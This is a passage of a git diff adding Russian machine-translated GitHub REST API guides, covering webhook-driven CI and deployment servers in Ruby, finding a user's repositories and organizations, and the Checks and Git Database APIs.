одну секунду. +* Если ограничение достигнуто, используйте заголовок ответа `Retry-After`, чтобы замедлить выполнение запросов. Заголовок `Retry-After` всегда имеет целочисленное значение, представляющее количество секунд, которое следует подождать, прежде чем выполнять запросы снова. Например, `Retry-After: 30` означает, что перед отправкой дополнительных запросов следует подождать 30 секунд. +* Запросы, которые создают содержимое, активирующее уведомления, например проблемы, комментарии и запросы на вытягивание, могут быть ограничены дополнительно, и заголовок `Retry-After` в ответ не включается. Создавайте такое содержимое с разумной частотой, чтобы избежать достижения ограничения. + +Мы оставляем за собой право по мере необходимости изменять эти правила, чтобы обеспечить доступность. + +{% endif %} + +## Обработка ошибок API + +Даже если в коде нет неполадок, при попытке доступа к API могут возникнуть повторяющиеся ошибки. + +Вместо того чтобы игнорировать повторяющиеся коды состояния `4xx` и `5xx`, следует убедиться в том, что вы правильно взаимодействуете с API. Например, если конечная точка запрашивает строку, а вы передаете числовое значение, то произойдет ошибка проверки `5xx` и вызов не будет выполнен. Аналогичным образом, попытка доступа к неавторизованной или несуществующей конечной точке приведет к ошибке `4xx`. + +Намеренное игнорирование повторяющихся ошибок проверки может привести к временному блокированию приложения из-за нарушения. + +[event-types]: /webhooks/event-payloads diff --git a/translations/ru-RU/content/rest/guides/building-a-ci-server.md b/translations/ru-RU/content/rest/guides/building-a-ci-server.md new file mode 100644 index 000000000000..602b34b491e6 --- /dev/null +++ b/translations/ru-RU/content/rest/guides/building-a-ci-server.md @@ -0,0 +1,167 @@ +--- +title: Создание сервера непрерывной интеграции +intro: Создайте собственную систему непрерывной интеграции с помощью API состояния. +redirect_from: + - /guides/building-a-ci-server + - /v3/guides/building-a-ci-server +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +ms.openlocfilehash: e8a22317562e209adca6cafa3fb8f1d55b1e04ee +ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/04/2022 +ms.locfileid: '148132950' +--- +[API состояния][status API] отвечает за связывание фиксаций со службой тестирования, чтобы каждую выполняемую отправку можно было протестировать и представить в запросе на вытягивание {% data variables.product.product_name %}. + +В этом руководстве данный интерфейс API используется для демонстрации возможной конфигурации. +В описываемом сценарии мы выполним указанные ниже действия. + +* Запустите наш набор непрерывной интеграции (CI) при открытии запроса на вытягивание (мы зададим состояние CI "в ожидании"). +* По завершении непрерывной интеграции мы зададим соответствующее состояние запроса на вытягивание. + +Система непрерывной интеграции и сервер размещения будут вымышленными. Это может быть Travis, Jenkins или что-то совершенно иное. Основная цель этого руководства — настроить сервер, управляющий взаимодействием. + +Если вы еще этого не сделали, [скачайте `ngrok`][ngrok]и узнайте, как [использовать его][using ngrok]. Мы считаем, что это очень полезный инструмент для предоставления локальных приложений в Интернете. + +{% ifversion cli-webhook-forwarding %} {% note %} + +**Примечание:** Кроме того, вы можете использовать перенаправление веб-перехватчиков, чтобы настроить локальную среду для получения веб-перехватчиков. Дополнительные сведения см. в разделе [Получение веб-перехватчиков с помощью GitHub CLI](/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli). + +{% endnote %} {% endif %} + +Примечание. Полный исходный код для этого проекта можно скачать из [репозитория platform-samples][platform samples]. + +## Создание сервера + +Мы создадим небольшое приложение Sinatra, чтобы подтвердить работоспособность локальных подключений. +Начнем с этого: + +``` ruby +require 'sinatra' +require 'json' + +post '/event_handler' do + payload = JSON.parse(params[:payload]) + "Well, it worked!" +end +``` + +(Если вы не знакомы с тем, как работает Sinatra, рекомендуем [ознакомиться с руководством по Sinatra][Sinatra].) + +Запустите этот сервер. По умолчанию Sinatra запускается через порт `4567`, поэтому вам также потребуется настроить `ngrok` для этого прослушивание. + +Чтобы этот сервер работал, необходимо настроить репозиторий с веб-перехватчиком. +Веб-перехватчик должен быть настроен так, чтобы он активировался каждый раз при создании или слиянии запроса на вытягивание. +Давайте создадим репозиторий, с которым можно спокойно экспериментировать. Мы предлагаем [репозиторий @octocat Spoon/Knife](https://github.com/octocat/Spoon-Knife). +После этого вы создадите новый веб-перехватчик в репозитории, подаете ему URL-адрес `ngrok` и выберите `application/x-www-form-urlencoded` в качестве типа контента: + +![Новый URL-адрес ngrok](/assets/images/webhook_sample_url.png) + +Щелкните **Обновить веб-перехватчик**. Вы должны увидеть текст ответа `Well, it worked!`. +Отлично! Установите переключатель в положение **Разрешить мне выбрать отдельные события** и выберите следующее: + +* Состояние +* Запрос на вытягивание + +Это события, которые {% data variables.product.product_name %} будет отправлять на наш сервер каждый раз, когда происходит соответствующее действие. Давайте обновим сервер так, чтобы пока он обрабатывал *только* сценарий запроса на вытягивание: + +``` ruby +post '/event_handler' do + @payload = JSON.parse(params[:payload]) + + case request.env['HTTP_X_GITHUB_EVENT'] + when "pull_request" + if @payload["action"] == "opened" + process_pull_request(@payload["pull_request"]) + end + end +end + +helpers do + def process_pull_request(pull_request) + puts "It's #{pull_request['title']}" + end +end +``` + +Что происходит? К каждому событию, которое отправляет {% data variables.product.product_name %}, прикреплен заголовок HTTP `X-GitHub-Event`. Пока нас интересуют только события, связанные с запросами на вытягивание. Из них мы возьмем полезные данные и вернем поле заголовка. В идеальном сценарии сервер должен обрабатывать каждое обновление запроса на вытягивание, а не только его открытие. Это позволяет гарантировать, что каждая новая отправка проходит тесты CI. +Однако в этой демонстрации нас будет интересовать только открытие запроса. + +Чтобы проверить этот эксперимент, внесите какие-нибудь изменения в ветвь тестового репозитория и откройте запрос на вытягивание. Ваш сервер должен вернуть соответствующий ответ. + +## Работа с состояниями + +Реализовав сервер, мы готовы приступить к выполнению первого требования: заданию (и обновлению) состояний CI. Обратите внимание, что при каждом обновлении сервера можно щелкнуть **Доставить повторно**, чтобы отправить те же полезные данные. Создавать новый запрос на вытягивание каждый раз, когда вы вносите изменения, не нужно. + +Так как мы взаимодействуем с API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, мы используем [Octokit.rb][octokit.rb] для управления взаимодействием. Мы настроим этот клиент с [помощью {% data variables.product.pat_generic %}][access token]: + +``` ruby +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below +ACCESS_TOKEN = ENV['MY_PERSONAL_TOKEN'] + +before do + @client ||= Octokit::Client.new(:access_token => ACCESS_TOKEN) +end +``` + +После этого нужно просто обновить запрос на вытягивание на {% data variables.product.product_name %}, чтобы было ясно, что обработка выполняется в рамках непрерывной интеграции: + +``` ruby +def process_pull_request(pull_request) + puts "Processing pull request..." + @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'pending') +end +``` + +Здесь мы выполняем три основных задачи: + +* ищем полное имя репозитория; +* ищем последнее значение SHA запроса на вытягивание; +* устанавливаем состояния "в ожидании". + +Вот и все! Далее можно запустить любой необходимый процесс для выполнения набора тестов. Возможно, вы собираетесь передать код в Jenkins или вызвать другую веб-службу через ее API, например [Travis][travis api]. После этого потребуется еще раз обновить состояние. В нашем примере мы просто задаем `"success"`: + +``` ruby +def process_pull_request(pull_request) + @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'pending') + sleep 2 # do busy work... + @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'success') + puts "Pull request processed!" +end +``` + +## Заключение + +В GitHub для управления CI уже много лет используется одна из версий [Janky][janky]. +Процесс в целом такой же, как и в случае с созданным выше сервером. +Мы делаем следующее: + +* активируем Jenkins при создании или обновлении запроса на вытягивание (через Janky); +* ожидаем ответа о состоянии CI; +* если код зеленый, выполняется слияние запроса на вытягивание. + +Все это взаимодействие передается в наши комнаты чата. Чтобы использовать этот пример, не нужно создавать собственную конфигурацию CI. +Всегда можно воспользоваться [интеграциями GitHub][integrations]. + +[deploy API]: /rest/reference/repos#deployments +[status API]: /rest/reference/commits#commit-statuses +[ngrok]: https://ngrok.com/ +[using ngrok]: /webhooks/configuring/#using-ngrok +[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/building-a-ci-server +[Sinatra]: http://www.sinatrarb.com/ +[webhook]: /webhooks/ +[octokit.rb]: https://github.com/octokit/octokit.rb +[access token]: /articles/creating-an-access-token-for-command-line-use +[travis api]: https://api.travis-ci.org/docs/ +[janky]: https://github.com/github/janky +[heaven]: https://github.com/atmos/heaven +[hubot]: https://github.com/github/hubot +[integrations]: https://github.com/integrations diff --git a/translations/ru-RU/content/rest/guides/delivering-deployments.md b/translations/ru-RU/content/rest/guides/delivering-deployments.md new file mode 100644 index 000000000000..cf26e4a1bd51 --- /dev/null +++ b/translations/ru-RU/content/rest/guides/delivering-deployments.md @@ -0,0 +1,180 @@ +--- +title: Доставка развертываний +intro: С помощью REST API развертывания можно создавать пользовательские средства для взаимодействия с сервером и сторонним приложением. +redirect_from: + - /guides/delivering-deployments + - /guides/automating-deployments-to-integrators + - /v3/guides/delivering-deployments +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +ms.openlocfilehash: 7ac423a27fe8b1c145efa3c135d88f08487f153a +ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/04/2022 +ms.locfileid: '148132986' +--- +Интерфейс [API развертываний][deploy API] дает возможность запуска проектов, размещенных на {% data variables.product.product_name %}, на принадлежащем вам сервере. В сочетании с [API состояния][status API] он позволяет координировать развертывания, как только код окажется в ветви по умолчанию. + +В этом руководстве данный интерфейс API используется для демонстрации возможной конфигурации. +В описываемом сценарии мы выполним указанные ниже действия. + +* Выполним слияние запроса на вытягивание. +* По завершении непрерывной интеграции мы зададим соответствующее состояние запроса на вытягивание. +* После слияния запроса на вытягивание мы запустим развертывание на нашем сервере. + +Система непрерывной интеграции и сервер размещения будут вымышленными. Это может быть Heroku, Amazon или что-то совершенно иное. Основная цель этого руководства — настроить сервер, управляющий взаимодействием. + +Если вы еще этого не сделали, [скачайте `ngrok`][ngrok]и узнайте, как [использовать его][using ngrok]. Мы считаем, что это очень полезный инструмент для предоставления локальных приложений в Интернете. + +{% ifversion cli-webhook-forwarding %} {% note %} + +**Примечание:** Кроме того, вы можете использовать перенаправление веб-перехватчиков, чтобы настроить локальную среду для получения веб-перехватчиков. Дополнительные сведения см. в разделе [Получение веб-перехватчиков с помощью GitHub CLI](/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli). + +{% endnote %} {% endif %} + +Примечание. Полный исходный код для этого проекта можно скачать из [репозитория platform-samples][platform samples]. + +## Создание сервера + +Мы создадим небольшое приложение Sinatra, чтобы подтвердить работоспособность локальных подключений. +Начнем с этого: + +``` ruby +require 'sinatra' +require 'json' + +post '/event_handler' do + payload = JSON.parse(params[:payload]) + "Well, it worked!" +end +``` + +(Если вы не знакомы с тем, как работает Sinatra, рекомендуем [ознакомиться с руководством по Sinatra][Sinatra].) + +Запустите этот сервер. По умолчанию Sinatra запускается через порт `4567`, поэтому вам также потребуется настроить `ngrok` для этого прослушивание. + +Чтобы этот сервер работал, необходимо настроить репозиторий с веб-перехватчиком. +Веб-перехватчик должен быть настроен так, чтобы он активировался каждый раз при создании или слиянии запроса на вытягивание. +Давайте создадим репозиторий, с которым можно спокойно экспериментировать. Мы предлагаем [репозиторий @octocat Spoon/Knife](https://github.com/octocat/Spoon-Knife). +После этого вы создадите новый веб-перехватчик в репозитории, подаете ему URL-адрес `ngrok` и выберите `application/x-www-form-urlencoded` в качестве типа контента: + +![Новый URL-адрес ngrok](/assets/images/webhook_sample_url.png) + +Щелкните **Обновить веб-перехватчик**. Вы должны увидеть текст ответа `Well, it worked!`. +Отлично! Установите переключатель в положение **Разрешить мне выбрать отдельные события** и выберите следующее: + +* Развертывание +* Состояния развертывания +* Запрос на вытягивание + +Это события, которые {% data variables.product.product_name %} будет отправлять на наш сервер каждый раз, когда происходит соответствующее действие. Пока мы настроим сервер так, чтобы он обрабатывал *только* слияния запросов на вытягивание: + +``` ruby +post '/event_handler' do + @payload = JSON.parse(params[:payload]) + + case request.env['HTTP_X_GITHUB_EVENT'] + when "pull_request" + if @payload["action"] == "closed" && @payload["pull_request"]["merged"] + puts "A pull request was merged! A deployment should start now..." + end + end +end +``` + +Что происходит? К каждому событию, которое отправляет {% data variables.product.product_name %}, прикреплен заголовок HTTP `X-GitHub-Event`. Пока нас интересуют только события, связанные с запросами на вытягивание. При слиянии запроса на вытягивание (состояние `closed`, `merged` имеет значение `true`) запускается развертывание. + +Чтобы проверить этот эксперимент, внесите какие-нибудь изменения в ветвь тестового репозитория, откройте запрос на вытягивание и выполните его слияние. Ваш сервер должен вернуть соответствующий ответ. + +## Работа с развертываниями + +Реализовав сервер, проверив код и выполнив слияние запроса на вытягивание, теперь мы хотим развернуть проект. + +Сначала мы изменим прослушиватель событий для обработки запросов на вытягивание при их слиянии и приступим к развертыванию: + +``` ruby +when "pull_request" + if @payload["action"] == "closed" && @payload["pull_request"]["merged"] + start_deployment(@payload["pull_request"]) + end +when "deployment" + process_deployment(@payload) +when "deployment_status" + update_deployment_status +end +``` + +На основе сведений из запроса на вытягивание мы начнем заполнять метод `start_deployment`: + +``` ruby +def start_deployment(pull_request) + user = pull_request['user']['login'] + payload = JSON.generate(:environment => 'production', :deploy_user => user) + @client.create_deployment(pull_request['head']['repo']['full_name'], pull_request['head']['sha'], {:payload => payload, :description => "Deploying my sweet branch"}) +end +``` + +Развертывания могут сопровождаться метаданными в виде `payload` и `description`. Хотя эти значения являются необязательными, они полезны для ведения журнала и представления сведений. + +При создании нового развертывания активируется отдельное событие. Вот почему нужен новый случай `switch` в обработчике событий `deployment`. Эти сведения можно использовать для получения уведомления об активации развертывания. + +Развертывания могут занимать довольно много времени, поэтому необходимо прослушивать различные события, например создание развертывания и изменение его состояния. + +Давайте сымитируем развертывание, которое выполняет некоторые действия, и посмотрим, какое влияние оно оказывает на выходные данные. Сначала завершим метод `process_deployment`: + +``` ruby +def process_deployment + payload = JSON.parse(@payload['payload']) + # you can send this information to your chat room, monitor, pager, etc. + puts "Processing '#{@payload['description']}' for #{payload['deploy_user']} to #{payload['environment']}" + sleep 2 # simulate work + @client.create_deployment_status("repos/#{@payload['repository']['full_name']}/deployments/#{@payload['id']}", 'pending') + sleep 2 # simulate work + @client.create_deployment_status("repos/#{@payload['repository']['full_name']}/deployments/#{@payload['id']}", 'success') +end +``` + +Наконец, сымитируем сохранение сведений о состоянии путем вывода их в консоли: + +``` ruby +def update_deployment_status + puts "Deployment status for #{@payload['id']} is #{@payload['state']}" +end +``` + +Давайте разберемся, что происходит. Развертывание создается методом `start_deployment`, который активирует событие `deployment`. Далее мы вызываем метод `process_deployment`, который имитирует выполнение некоторых задач. Во время этой обработки мы также вызываем `create_deployment_status`, чтобы получатель мог узнать, что происходит, когда состояние переведено в `pending`. + +После завершения развертывания задается состояние `success`. + +## Заключение + +В GitHub для управления развертываниями уже много лет используется одна из версий [Heaven][heaven]. Процесс в целом такой же, как и в случае с созданным выше сервером. + +* Ожидается ответ о состоянии проверок непрерывной интеграции (успешно или сбой). +* Если необходимые проверки пройдены успешно, выполняется слияние запроса на вытягивание. +* Heaven принимает объединенный код и развертывает его на промежуточных и рабочих серверах. +* В то же время Heaven также уведомляет всех участников о сборке посредством бота [Hubot][hubot] в наших комнатах чата. + +Вот и все! Чтобы использовать этот пример, не нужно создавать собственную конфигурацию развертывания. +Всегда можно воспользоваться [интеграциями GitHub][integrations]. + +[deploy API]: /rest/reference/repos#deployments +[status API]: /guides/building-a-ci-server +[ngrok]: https://ngrok.com/ +[using ngrok]: /webhooks/configuring/#using-ngrok +[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/delivering-deployments +[Sinatra]: http://www.sinatrarb.com/ +[webhook]: /webhooks/ +[octokit.rb]: https://github.com/octokit/octokit.rb +[access token]: /articles/creating-an-access-token-for-command-line-use +[travis api]: https://api.travis-ci.org/docs/ +[janky]: https://github.com/github/janky +[heaven]: https://github.com/atmos/heaven +[hubot]: https://github.com/github/hubot +[integrations]: https://github.com/integrations diff --git a/translations/ru-RU/content/rest/guides/discovering-resources-for-a-user.md b/translations/ru-RU/content/rest/guides/discovering-resources-for-a-user.md new file mode 100644 index 000000000000..28231a90444e --- /dev/null +++ b/translations/ru-RU/content/rest/guides/discovering-resources-for-a-user.md @@ -0,0 +1,115 @@ +--- +title: Обнаружение ресурсов для пользователя +intro: 'Узнайте, как найти репозитории и организации, к которым ваше приложение может безопасно и надежно получить доступ для запросов к REST API, прошедших проверку подлинности.' +redirect_from: + - /guides/discovering-resources-for-a-user + - /v3/guides/discovering-resources-for-a-user +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +shortTitle: Discover resources for a user +ms.openlocfilehash: 9650ff8dee220f0b32d74cacb0f86acd236df5b6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135944' +--- +При выполнении запросов с проверкой подлинности к API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} приложениям часто требуется получить репозитории и организации текущего пользователя. В этом руководстве мы объясним, как уверенно находить эти ресурсы. + +Для взаимодействия с API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} мы используем [Octokit.rb][octokit.rb]. Полный исходный код этого проекта можно найти в репозитории [platform-samples][platform samples]. + +## Начало работы + +Перед тем как приступать к изучению приведенных ниже примеров, ознакомьтесь с [руководством по основам проверки подлинности][basics-of-authentication], если вы еще этого не сделали. В приведенных ниже примерах предполагается, что вы [зарегистрировали приложение OAuth][register-oauth-app] и что [приложение имеет токен OAuth для пользователя][make-authenticated-request-for-user]. + +## Обнаружение репозиториев, к которым приложение может получать доступ для пользователя + +Помимо наличия личных репозиториев, пользователь может участвовать в совместной работе над репозиториями, принадлежащими другим пользователям и организациям. В целом у пользователя есть привилегированный доступ к следующим репозиториям: частному репозиторию, к которому у пользователя есть доступ на чтение или запись, и {% ifversion fpt %}общедоступному{% elsif ghec or ghes %}общедоступному или внутреннему{% elsif ghae %}внутреннему{% endif %} репозиторию, к которому у пользователя есть доступ на запись. + +[Области OAuth][scopes] и [политики в отношении приложений организации][oap] определяют то, к каким из этих репозиториев приложение может получать доступ для пользователя. Для нахождения этих репозиториев используйте описанный ниже рабочий процесс. + +Как всегда, сначала нам понадобится библиотека Ruby [Octokit.rb для GitHub][octokit.rb]. Затем мы настроим Octokit.rb для автоматической обработки [разбиения на страницы][pagination]. + +``` ruby +require 'octokit' + +Octokit.auto_paginate = true +``` + +Далее мы передадим [токен OAuth приложения для данного пользователя][make-authenticated-request-for-user]: + +``` ruby +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below. +client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] +``` + +После этого мы готовы получить [репозитории, к которым приложение может получать доступ для пользователя][list-repositories-for-current-user]: + +``` ruby +client.repositories.each do |repository| + full_name = repository[:full_name] + has_push_access = repository[:permissions][:push] + + access_type = if has_push_access + "write" + else + "read-only" + end + + puts "User has #{access_type} access to #{full_name}." +end +``` + +## Обнаружение организаций, к которым приложение может получать доступ для пользователя + +Приложения могут выполнять для пользователя самые разные задачи, связанные с организациями. Для их выполнения приложению требуется [авторизация OAuth][scopes] с достаточными разрешениями. Например, область `read:org` позволяет [получать список команд][list-teams], а область `user` — [публиковать сведения о членстве пользователя в организациях][publicize-membership]. После того как пользователь предоставит приложению одну или несколько этих областей, вы можете получить сведения о его организациях. + +Так же, как и при обнаружении репозиториев выше, мы начнем с того, что настроим обработку [разбиения на страницы][pagination] с помощью библиотеки Ruby [Octokit.rb для GitHub][octokit.rb]: + +``` ruby +require 'octokit' + +Octokit.auto_paginate = true +``` + +Далее мы передадим [токен OAuth приложения для данного пользователя,][make-authenticated-request-for-user] чтобы инициализировать клиент API: + +``` ruby +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below. +client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] +``` + +Затем мы можем [получить список организаций, к которым приложение может получать доступ для пользователя][list-orgs-for-current-user]: + +``` ruby +client.organizations.each do |organization| + puts "User belongs to the #{organization[:login]} organization." +end +``` + +### Возврат сведений обо всех организациях, в которые входит пользователь + +Если вы прочитали документацию от корки до корки, возможно, вы обратили внимание на [метод API для перечисления общедоступных организаций, в которые входит пользователь][list-public-orgs]. В большинстве приложений следует избегать использования этого метода API. Он возвращает только общедоступные организации пользователя, но не частные. + +Приложению же, как правило, требуются сведения обо всех организациях пользователя, к которым приложению разрешен доступ. Описанный выше рабочий процесс дает именно такой результат. + +[basics-of-authentication]: /rest/guides/basics-of-authentication +[list-public-orgs]: /rest/reference/orgs#list-organizations-for-a-user +[list-repositories-for-current-user]: /rest/reference/repos#list-repositories-for-the-authenticated-user +[list-orgs-for-current-user]: /rest/reference/orgs#list-organizations-for-the-authenticated-user +[list-teams]: /rest/reference/teams#list-teams +[make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests +[oap]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/ +[octokit.rb]: https://github.com/octokit/octokit.rb +[pagination]: /rest#pagination +[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user +[publicize-membership]: /rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user +[register-oauth-app]: /rest/guides/basics-of-authentication#registering-your-app +[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ diff --git a/translations/ru-RU/content/rest/guides/getting-started-with-the-checks-api.md b/translations/ru-RU/content/rest/guides/getting-started-with-the-checks-api.md new file mode 100644 index 000000000000..1b59b9d77582 --- /dev/null +++ b/translations/ru-RU/content/rest/guides/getting-started-with-the-checks-api.md @@ -0,0 +1,86 @@ +--- +title: Начало работы с API проверок +intro: 'API проверки запусков позволяет создавать приложения GitHub, которые выполняют эффективные проверки для любых изменений кода в репозитории. Вы можете создавать приложения, которые выполняют непрерывную интеграцию, структурирование кода или службы сканирования кода и предоставляют подробные отзывы о фиксациях.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +shortTitle: Get started - Checks API +ms.openlocfilehash: 6d98940d9cf4f4fd534034e142aa3d86a0900406 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147710246' +--- +## Общие сведения + +Вместо бинарных состояний сборки (выполнено или не выполнено) приложения GitHub могут сообщать расширенные состояния, добавлять к строкам кода заметки с подробными сведениями и повторно проводить тесты. Функциональные возможности API проверок доступны исключительно приложениям GitHub. + +Пример использования API проверок с {% data variables.product.prodname_github_app %} см. в разделе [Создание тестов непрерывной интеграции с помощью API проверок](/apps/quickstart-guides/creating-ci-tests-with-the-checks-api/). + +## Сведения о наборах проверок + +Когда кто-нибудь отправляет код в репозиторий, GitHub создает набор проверок для последней фиксации. Набор проверок — это коллекция [запусков проверок](/rest/reference/checks#check-runs), созданных одним приложением GitHub для определенной фиксации. Набор проверок позволяет получить общее заключение о состоянии выполнения проверок, входящих в состав набора. + +![Рабочий процесс набора проверок](/assets/images/check_suites.png) + +Набор проверок сообщает значение `conclusion` выполнения проверки с наивысшим приоритетом из всех значений `conclusion` набора проверок. Например, если для трех выполнений проверок получены заключения `timed_out`, `success` и `neutral`, заключением для набора проверок будет `timed_out`. + +По умолчанию GitHub автоматически создает набор проверок при отправке кода в репозиторий. В рамках этого процесса по умолчанию событие `check_suite` (с действием `requested`) отправляется всем приложениям GitHub с разрешением `checks:write`. Когда приложение GitHub получает событие `check_suite`, оно может создать новые выполнения проверок для последней фиксации. GitHub автоматически добавляет новые выполнения проверок в соответствующий [набор проверок](/rest/reference/checks#check-suites) с учетом репозитория и SHA. + +Если вы не хотите использовать автоматический процесс по умолчанию, то можете управлять созданием наборов проверок. Чтобы изменить параметры по умолчанию для создания наборов проверок, используйте конечную точку [обновления параметров наборов проверок для репозитория](/rest/reference/checks#update-repository-preferences-for-check-suites). Все изменения параметров автоматического процесса записываются в журнал аудита репозитория. Если вы отключили автоматический процесс, набор проверок можно создать с помощью конечной точки [создания набора проверок](/rest/reference/checks#create-a-check-suite). Далее следует использовать конечную точку [создания выполнения проверки](/rest/reference/checks#create-a-check-run) для предоставления отзывов о фиксации. + +{% data reusables.apps.checks-availability %} + +Чтобы использовать API наборов проверок, приложение GitHub должно иметь разрешение `checks:write` и может подписаться на веб-перехватчик [check_suite](/webhooks/event-payloads/#check_suite). + +{% data reusables.shortdesc.authenticating_github_app %} + +## Сведения о выполнениях проверок + +Выполнение проверки — это отдельный тест, входящий в состав набора проверок. Каждое выполнение имеет состояние и заключение. + +![Рабочий процесс выполнения проверки](/assets/images/check_runs.png) + +Если выполнение проверки находится в незавершенном состоянии дольше 14 дней, его значение `conclusion` становится равным `stale` и выполнение отображается на {% data variables.product.prodname_dotcom %} как устаревшее со значком {% octicon "issue-reopened" aria-label="The issue-reopened icon" %}. Выполнения проверок могут помечаться как `stale` только на {% data variables.product.prodname_dotcom %}. Дополнительные сведения о возможных заключениях для выполнения проверки см. в [описании параметра `conclusion`](/rest/reference/checks#create-a-check-run--parameters). + +Как только вы получите веб-перехватчик [`check_suite`](/webhooks/event-payloads/#check_suite), вы можете создать выполнение проверки, даже если проверка не завершена. Вы можете изменить состояние (`status`) выполнения проверки после его завершения на значение `queued`, `in_progress` или `completed`, а также обновлять `output` по мере получения дополнительных сведений. Выполнение проверки может содержать метки времени, ссылку на дополнительные сведения на внешнем сайте, подробные заметки для определенных строк кода и сведения о проведенном анализе. + +![Заметки выполнения проверки](/assets/images/check_run_annotations.png) + +Проверку также можно выполнить повторно вручную в пользовательском интерфейсе GitHub. Дополнительные сведения см. в разделе [Сведения о проверках состояния](/articles/about-status-checks#checks). В этом случае приложение GitHub, создавшее выполнение проверки, получит веб-перехватчик [`check_run`](/webhooks/event-payloads/#check_run), запрашивающий новое выполнение проверки. Если вы создаете выполнение проверки без набора проверок, GitHub создает набор проверок автоматически. + +{% data reusables.apps.checks-availability %} + +Чтобы использовать API выполнений проверок, приложение GitHub должно иметь разрешение `checks:write` и может подписаться на веб-перехватчик [check_run](/webhooks/event-payloads#check_run). + +## Выполнения проверок и запрошенные действия + +При настройке выполнения проверки с запрошенными действиями (не путать с {% data variables.product.prodname_actions %}) в представлении запроса на вытягивание на {% data variables.product.prodname_dotcom %} можно отобразить кнопку, с помощью которой пользователь может запросить у {% data variables.product.prodname_github_app %} выполнение дополнительных задач. + +Например, приложение для анализа кода может использовать запрошенные действия с целью отображения в запросе на вытягивание кнопки для автоматического исправления обнаруженных синтаксических ошибок. + +Чтобы создать кнопку для запроса дополнительных действий в приложении, используйте [объект `actions`](/rest/reference/checks#create-a-check-run--parameters) при [создании выполнения проверки](/rest/reference/checks/#create-a-check-run). Например, приведенный ниже объект `actions` отображает в запросе на вытягивание кнопку с меткой Fix this (Исправить). Кнопка появляется после завершения выполнения проверки. + + ```json + "actions": [{ + "label": "Fix this", + "description": "Let us fix that for you", + "identifier": "fix_errors" + }] + ``` + + ![Кнопка для запрошенного действия выполнения проверки](/assets/images/github-apps/github_apps_checks_fix_this_button.png) + +Когда пользователь нажимает эту кнопку, {% data variables.product.prodname_dotcom %} отправляет в приложение [веб-перехватчик `check_run.requested_action`](/webhooks/event-payloads/#check_run). Когда приложение получает событие веб-перехватчика `check_run.requested_action`, оно может найти ключ `requested_action.identifier` в полезных данных веб-перехватчика, чтобы определить, какая кнопка была нажата, и выполнить запрошенную задачу. + +Подробный пример настройки запрошенных действий с помощью API проверок см. в разделе [Создание тестов непрерывной интеграции с помощью API проверок](/apps/quickstart-guides/creating-ci-tests-with-the-checks-api/#part-2-creating-the-octo-rubocop-ci-test). + +{% ifversion fpt or ghec %} +## Хранение данных о проверках + +{% data reusables.pull_requests.retention-checks-data %} {% endif %} diff --git a/translations/ru-RU/content/rest/guides/getting-started-with-the-git-database-api.md b/translations/ru-RU/content/rest/guides/getting-started-with-the-git-database-api.md new file mode 100644 index 000000000000..e036960a342d --- /dev/null +++ b/translations/ru-RU/content/rest/guides/getting-started-with-the-git-database-api.md @@ -0,0 +1,55 @@ +--- +title: Начало работы с API базы данных Git +intro: 'API базы данных Git предоставляет доступ на чтение и запись необработанных объектов Git в базе данных Git в {% data variables.product.product_name %}, а также на перечисление и обновление ссылок (заголовки ветвей и теги).' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +shortTitle: Get started - Git Database API +ms.openlocfilehash: b7044e299602de42a2c880df8da4a6f19ef9334b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135920' +--- +## Общие сведения + +Вы можете повторно реализовывать множество функциональных возможностей Git через API — создавая необработанные объекты непосредственно в базе данных и обновляя ссылки на ветви, вы можете делать практически все, что позволяет делать Git, при этом не устанавливая Git. + +Функции API базы данных Git возвращают значение `409 Conflict`, если репозиторий Git пуст или недоступен. Недоступный репозиторий обычно означает, что {% data variables.product.product_name %} находится в процессе создания репозитория. Для пустого репозитория можно использовать конечную точку [Создание или обновление содержимого файла](/rest/reference/repos#create-or-update-file-contents), чтобы создать содержимое и инициализировать репозиторий, а затем 